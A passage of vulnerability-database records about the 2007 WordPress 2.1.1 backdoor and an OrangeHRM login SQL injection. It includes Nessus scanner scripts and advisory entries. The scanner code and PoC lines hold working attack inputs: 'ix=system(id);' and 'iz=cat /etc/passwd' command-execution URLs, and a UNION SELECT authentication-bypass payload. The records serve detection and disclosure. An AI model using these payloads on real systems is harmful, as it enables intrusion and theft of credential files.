"id": "WORDPRESS_221_BACKDOOR.NASL", "href": "https://www.tenable.com/plugins/nessus/24759", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(24759);\n script_version(\"1.21\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/04/11\");\n\n script_cve_id(\"CVE-2007-1277\");\n script_bugtraq_id(22797);\n\n script_name(english:\"WordPress < 2.1.1 Multiple Script Backdoors\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote web server contains a PHP application that is affected by a\nremote command execution vulnerability.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of WordPress installed on the remote host appears to\ninclude a backdoor that allows an unauthenticated, remote attacker to\nexecute arbitrary code on the remote host, subject to the permissions\nof the web server user id.\");\n # http://ifsec.blogspot.com/2007/03/wordpress-code-compromised-to-enable.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?22d131ef\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.securityfocus.com/archive/1/461794/30/0/threaded\");\n script_set_attribute(attribute:\"see_also\", value:\"https://wordpress.org/news/2007/03/upgrade-212/\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to WordPress version 2.1.2 or later and overwrite all the old\nfiles, especially those in wp-includes. Also, examine your web logs\nfor suspicious activity and take appropriate steps if it appears that\nit has been compromised.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No exploit is required\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n script_cwe_id(20);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2007/03/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2007/03/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2007/03/02\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:wordpress:wordpress\");\n script_set_attribute(attribute:\"thorough_tests\", value:\"true\");\n script_end_attributes();\n\n script_category(ACT_ATTACK);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2007-2022 Tenable Network Security, Inc.\");\n\n script_dependencies(\"wordpress_detect.nasl\");\n script_require_keys(\"installed_sw/WordPress\", \"www/PHP\");\n script_require_ports(\"Services/www\", 80);\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\ninclude(\"install_func.inc\");\n\napp = \"WordPress\";\nget_install_count(app_name:app, exit_if_zero:TRUE);\n\nport = get_http_port(default:80, php:TRUE);\n\ninstall = get_single_install(\n app_name : app,\n port : port\n);\n\ndir = install['path'];\ninstall_url = build_url(port:port, qs:dir);\n\nhttp_check_remote_code(\n unique_dir:dir,\n check_request:\"/wp-includes/feed.php?ix=system(id);\",\n check_result:\"uid=[0-9]+.*gid=[0-9]+.*\",\n command:\"id\",\n port:port\n);\nif (thorough_tests)\n{\n http_check_remote_code(\n unique_dir:dir,\n check_request:\"/wp-includes/theme.php?iz=id\",\n check_result:\"uid=[0-9]+.*gid=[0-9]+.*\",\n command:\"id\",\n port:port\n );\n}\naudit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-01-11T14:27:25", "description": "The version of WordPress installed on the remote host may include a backdoor that allows an unauthenticated remote attacker to execute arbitrary code on the remote host, subject to the permissions of the web server user ID.", "cvss3": {}, "published": "2007-03-05T00:00:00", "type": "nessus", "title": "WordPress < 2.1.2 RCE", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": true}, "cvelist": ["CVE-2007-1277"], "modified": "2019-03-06T00:00:00", "cpe": ["cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*"], "id": "3933.PRM", "href": "https://www.tenable.com/plugins/nnm/3933", "sourceData": "Binary data 3933.prm", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-01-11T14:26:41", "description": "The remote host is running OrangeHRM, a human resource management system written in PHP. \n\nThe version of OrangeHRM installed on the remote host fails to sanitize input to the 'txtUserName' parameter of the 'login.php' script before using it in a database query. An unauthenticated, remote attacker may be able to leverage this flaw to manipulate SQL queries and, for example, bypass authentication, uncover sensitive information, modify data, or even launch attacks against the underlying database. \n\nNote that successful exploitation of this issue requires that PHP's 'magic_quotes_gpc' be disabled.", "cvss3": {}, "published": "2007-03-01T00:00:00", "type": "nessus", "title": "OrangeHRM login.php txtUserName Parameter SQL Injection", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1193"], "modified": "2022-04-11T00:00:00", "cpe": [], "id": "ORANGEHRM_TXTUSERNAME_SQL_INJECTION.NASL", "href": "https://www.tenable.com/plugins/nessus/24743", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(24743);\n script_version(\"1.21\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/04/11\");\n\n script_cve_id(\"CVE-2007-1193\");\n script_bugtraq_id(22756);\n\n script_name(english:\"OrangeHRM login.php txtUserName Parameter SQL Injection\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote web server contains a PHP script that is affected by a SQL\ninjection vulnerability.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running OrangeHRM, a human resource management\nsystem written in PHP. \n\nThe version of OrangeHRM installed on the remote host fails to\nsanitize input to the 'txtUserName' parameter of the 'login.php'\nscript before using it in a database query. An unauthenticated, remote\nattacker may be able to leverage this flaw to manipulate SQL queries\nand, for example, bypass authentication, uncover sensitive\ninformation, modify data, or even launch attacks against the\nunderlying database. \n\nNote that successful exploitation of this issue requires that PHP's\n'magic_quotes_gpc' be disabled.\");\n # http://sourceforge.net/project/shownotes.php?release_id=486196&group_id=156477\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?3e41c792\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to OrangeHRM 2.1 alpha 5 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No exploit is required\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2007/03/01\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"thorough_tests\", value:\"true\");\n script_end_attributes();\n\n script_category(ACT_ATTACK);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2007-2022 Tenable Network Security, Inc.\");\n\n script_dependencies(\"http_version.nasl\");\n script_require_keys(\"www/PHP\");\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_require_ports(\"Services/www\", 80);\n\n exit(0);\n}\n\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\ninclude(\"url_func.inc\");\n\n\nport = get_http_port(default:80, embedded: 0);\nif (!can_host_php(port:port)) exit(0);\n\n\n# Loop through directories.\nif (thorough_tests) dirs = list_uniq(make_list(\"/orangehrm2\", \"/orangehrm\", cgi_dirs()));\nelse dirs = make_list(cgi_dirs());\n\ninit_cookiejar();\nforeach dir (dirs)\n{\n # Make sure the affected script exists.\n url = string(dir, \"/login.php\");\n r = http_send_recv3(method: \"GET\", item:url, port:port);\n if (isnull(r)) exit(0);\n\n # If it does...\n if (\"OrangeHRM\" >< r[2] && '<input name=\"txtUserName\"' >< r[2])\n {\n # Try to exploit the flaw to bypass authentication.\n pass = SCRIPT_NAME;\n exploit = string(unixtime(), \"' UNION SELECT 'admin','\", hexstr(MD5(pass)), \"',null,'USR001','USG001','Enabled',null,'Yes'--\");\n\n postdata = string(\n \"actionID=chkAuthentication&\",\n \"txtUserName=\", urlencode(str:exploit), \"&\",\n \"txtPassword=\", pass, \"&\",\n \"Submit=Login\"\n );\n r = http_send_recv3(method: \"POST\", item: url, version: 11, data: postdata, port: port,\n add_headers: make_array(\"Content-Type\", \"application/x-www-form-urlencoded\"));\n if (isnull(r)) exit(0);\n\n # There's a problem if we get a Loggedin cookie.\n if (\"Loggedin=True\" >< r[2])\n {\n security_hole(port);\n set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);\n exit(0);\n }\n }\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-01-11T14:26:27", "description": " The remote host is running OrangeHRM, a human resource management system written in PHP. The version of OrangeHRM installed on the remote host fails to sanitize input to the 'txtUserName' parameter of the 'login.php' script before using it in a database query. An unauthenticated remote attacker may be able to leverage this flaw to manipulate SQL queries and bypass authentication, uncover sensitive information, modify data, or launch attacks against the underlying database.\n\n Note that successful exploitation of this issue requires that PHP's 'magic_quotes_gpc' be disabled. ", "cvss3": {}, "published": "2007-03-01T00:00:00", "type": "nessus", "title": "OrangeHRM < 2.1 alpha 5 login.php txtUserName Parameter SQL Injection", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1193"], "modified": "2019-03-06T00:00:00", "cpe": ["cpe:2.3:a:orangehrm:orangehrm:*:*:*:*:*:*:*:*"], "id": "3928.PRM", "href": "https://www.tenable.com/plugins/nnm/3928", "sourceData": "Binary data 3928.prm", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "ubuntucve": [{"lastseen": "2022-08-04T14:45:20", "description": "WordPress 2.1.1, as downloaded from some official distribution sites during\nFebruary and March 2007, contains an externally introduced backdoor that\nallows remote attackers to execute arbitrary commands via (1) an eval\ninjection vulnerability in the ix parameter to wp-includes/feed.php, and\n(2) an untrusted passthru call in the iz parameter to\nwp-includes/theme.php.", "cvss3": {}, "published": "2007-03-05T00:00:00", "type": "ubuntucve", "title": "CVE-2007-1277", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": true}, "cvelist": ["CVE-2007-1277"], "modified": "2007-03-05T00:00:00", "id": "UB:CVE-2007-1277", "href": "https://ubuntu.com/security/CVE-2007-1277", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "debiancve": [{"lastseen": "2022-12-17T15:21:57", "description": "WordPress 2.1.1, as downloaded from some official distribution sites during February and March 2007, contains an externally introduced backdoor that allows remote attackers to execute arbitrary commands via (1) an eval injection vulnerability in the ix parameter to wp-includes/feed.php, and (2) an untrusted passthru call in the iz parameter to wp-includes/theme.php.", "cvss3": {}, "published": "2007-03-05T20:19:00", "type": "debiancve", "title": "CVE-2007-1277", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": true}, "cvelist": ["CVE-2007-1277"], "modified": "2007-03-05T20:19:00", "id": "DEBIANCVE:CVE-2007-1277", "href": "https://security-tracker.debian.org/tracker/CVE-2007-1277", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "wpvulndb": [{"lastseen": "2021-02-15T21:56:04", "description": "### PoC\n\nhttp://www.example.com/wp-includes/feed.php?ix=phpinfo(); http://www.example.com/wp-includes/theme.php?iz=cat /etc/passwd\n", "cvss3": {}, "published": "2014-08-01T10:58:31", "type": "wpvulndb", "title": "WordPress 2.1.1 - Command Execution Backdoor", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2007-1277"], "modified": "2019-10-21T08:56:21", "id": "WPVDB-ID:5C4CF85B-97E8-4044-839B-B3656C337706", "href": "https://wpscan.com/vulnerability/5c4cf85b-97e8-4044-839b-b3656c337706", "sourceData": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "patchstack": [{"lastseen": "2022-06-01T19:53:56", "description": "The attackers can execute arbitrary commands via an eval injection vulnerability in the \"ix\" parameter to wp-includes/feed.php. Also, there is command execution backdoor vulnerability.\n\n## Solution\n\n\r\n Update the WordPress to the latest available version (at least 2.1.2). \r\n ", "cvss3": {}, "published": "2007-03-05T00:00:00", "type": "patchstack", "title": "WordPress <= 2.1.1 - Multiple Vulnerabilities", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": true}, "cvelist": ["CVE-2007-1277"], "modified": "2007-03-05T00:00:00", "id": "PATCHSTACK:276C2384686F3574CD18BE450B578446", "href": "https://patchstack.com/database/vulnerability/wordpress/wordpress-2-1-1-multiple-vulnerabilities", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "wpexploit": [{"lastseen": "2021-02-15T21:56:04", "description": "\n", "cvss3": {}, "published": "2014-08-01T10:58:31", "type": "wpexploit", "title": "WordPress 2.1.1 - Command Execution Backdoor", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2007-1277"], "modified": "2019-10-21T08:56:21", "id": "WPEX-ID:5C4CF85B-97E8-4044-839B-B3656C337706", "href": "", "sourceData": "http://www.example.com/wp-includes/feed.php?ix=phpinfo();\r\nhttp://www.example.com/wp-includes/theme.php?iz=cat /etc/passwd", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cert": [{"lastseen": "2021-09-28T17:51:48", "description": "### Overview\n\nWordPress fails to properly sanitize input to the `iz` parameter in `wp-includes/theme.php`, which could allow a remote, unauthenticated attacker to execute arbitrary commands.\n\n### Description\n\nWordPress is a blogging application that is written in PHP. WordPress 2.1.1 fails to properly sanitize input to the `iz` parameter in `wp-includes/theme.php`, Commands that are passed to the `iz` parameter are executed by the WordPress server. \n \n--- \n \n### Impact\n\nA remote, unauthenticated attacker may be able to execute arbitrary commands on a vulnerable WordPress system. \n \n--- \n \n### Solution\n\n**Apply an update**\n\nThis issue is addressed in [WordPress 2.1.2](<http://wordpress.org/download/>). \n \n--- \n \n### Vendor Information\n\n641456\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Additional information available\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n**Javascript is disabled. Click here to view vendors.**\n\n### WordPress __ Affected\n\nUpdated: March 05, 2007 \n\n### Status\n\nAffected\n\n### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Vendor Information \n\nThe vendor has not provided us with any further information regarding this vulnerability.\n\n### Addendum\n\nPlease see the [WordPress advisory](<http://wordpress.org/development/2007/03/upgrade-212/>).\n\nIf you have feedback, comments, or additional information about this vulnerability, please send us [email](<mailto:cert@cert.org?Subject=VU%23641456 Feedback>).\n\n \n\n\n### CVSS Metrics\n\nGroup | Score | Vector \n---|---|--- \nBase | | \nTemporal | | \nEnvironmental | | \n \n \n\n\n### References\n\n * <http://ifsec.blogspot.com/2007/03/wordpress-code-compromised-to-enable.html>\n * <http://wordpress.org/development/2007/03/upgrade-212/>\n * <http://secunia.com/advisories/24374/>\n * <http://www.securityfocus.com/bid/22797>\n\n### Acknowledgements\n\nThis vulnerability was reported by Ivan Fratric.\n\nThis document was written by Will Dormann.\n\n### Other Information\n\n**CVE IDs:** | [CVE-2007-1277](<http://web.nvd.nist.gov/vuln/detail/CVE-2007-1277>) \n---|--- \n**Severity Metric:** | 20.16 \n**Date Public:** | 2007-03-02 \n**Date First Published:** | 2007-03-05 \n**Date Last Updated: ** | 2007-03-07 16:01 UTC \n**Document Revision: ** | 10 \n", "cvss3": {}, "published": "2007-03-05T00:00:00", "type": "cert", "title": "WordPress fails to properly sanitize input passed to the iz parameter in wp-includes/theme.php", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": true}, "cvelist": ["CVE-2007-1277"], "modified": "2007-03-07T16:01:00", "id": "VU:641456", "href": "https://www.kb.cert.org/vuls/id/641456", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-28T17:51:48", "description": "### Overview\n\nWordPress fails to properly sanitize input to the `ix` parameter in `wp-includes/feed.php`, which could allow a remote, unauthenticated attacker to execute arbitrary PHP code.\n\n### Description\n\nWordPress is a blogging application that is written in PHP. WordPress 2.1.1 fails to properly sanitize input to the `ix` parameter in `wp-includes/feed.php`, PHP commands that are passed to the `ix` parameter are executed by the WordPress server. \n \n--- \n \n### Impact\n\nA remote, unauthenticated attacker may be able to execute arbitrary PHP code on a vulnerable WordPress system. \n \n--- \n \n### Solution\n\n**Apply an update**\n\nThis issue is addressed in [WordPress 2.1.2](<http://wordpress.org/download/>). \n \n--- \n \n### Vendor Information\n\n214480\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Additional information available\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n**Javascript is disabled. Click here to view vendors.**\n\n### WordPress __ Affected\n\nUpdated: March 05, 2007 \n\n### Status\n\nAffected\n\n### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Vendor Information \n\nThe vendor has not provided us with any further information regarding this vulnerability.\n\n### Addendum\n\nPlease see the [WordPress advisory](<http://wordpress.org/development/2007/03/upgrade-212/>).\n\nIf you have feedback, comments, or additional information about this vulnerability, please send us [email](<mailto:cert@cert.org?Subject=VU%23214480 Feedback>).\n\n \n\n\n### CVSS Metrics\n\nGroup | Score | Vector \n---|---|--- \nBase | | \nTemporal | | \nEnvironmental | | \n \n \n\n\n### References\n\n * <http://ifsec.blogspot.com/2007/03/wordpress-code-compromised-to-enable.html>\n * <http://wordpress.org/development/2007/03/upgrade-212/>\n * <http://secunia.com/advisories/24374/>\n * <http://www.securityfocus.com/bid/22797>\n\n### Acknowledgements\n\nThis vulnerability was reported by Ivan Fratric.\n\nThis document was written by Will Dormann.\n\n### Other Information\n\n**CVE IDs:** | [CVE-2007-1277](<http://web.nvd.nist.gov/vuln/detail/CVE-2007-1277>) \n---|--- \n**Severity Metric:** | 20.16 \n**Date Public:** | 2007-03-02 \n**Date First Published:** | 2007-03-05 \n**Date Last Updated: ** | 2007-03-07 16:01 UTC \n**Document Revision: ** | 14 \n", "cvss3": {}, "published": "2007-03-05T00:00:00", "type": "cert", "title": "WordPress fails to properly sanitize input passed to the ix parameter in wp-includes/feed.php", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": true}, "cvelist": ["CVE-2007-1277"], "modified": "2007-03-07T16:01:00", "id": "VU:214480", "href": "https://www.kb.cert.org/vuls/id/214480", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "checkpoint_advisories": [{"lastseen": "2022-11-28T06:33:15", "description": "A command execution vulnerability has been reported in WordPress. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary commands on the affected system.", "cvss3": {}, "published": "2014-03-03T00:00:00", "type": "checkpoint_advisories", "title": "WordPress Backdoor iz Parameter Passthru (CVE-2007-1277)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": true}, "cvelist": ["CVE-2007-1277"], "modified": "2016-03-21T00:00:00", "id": "CPAI-2014-0983", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}
Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
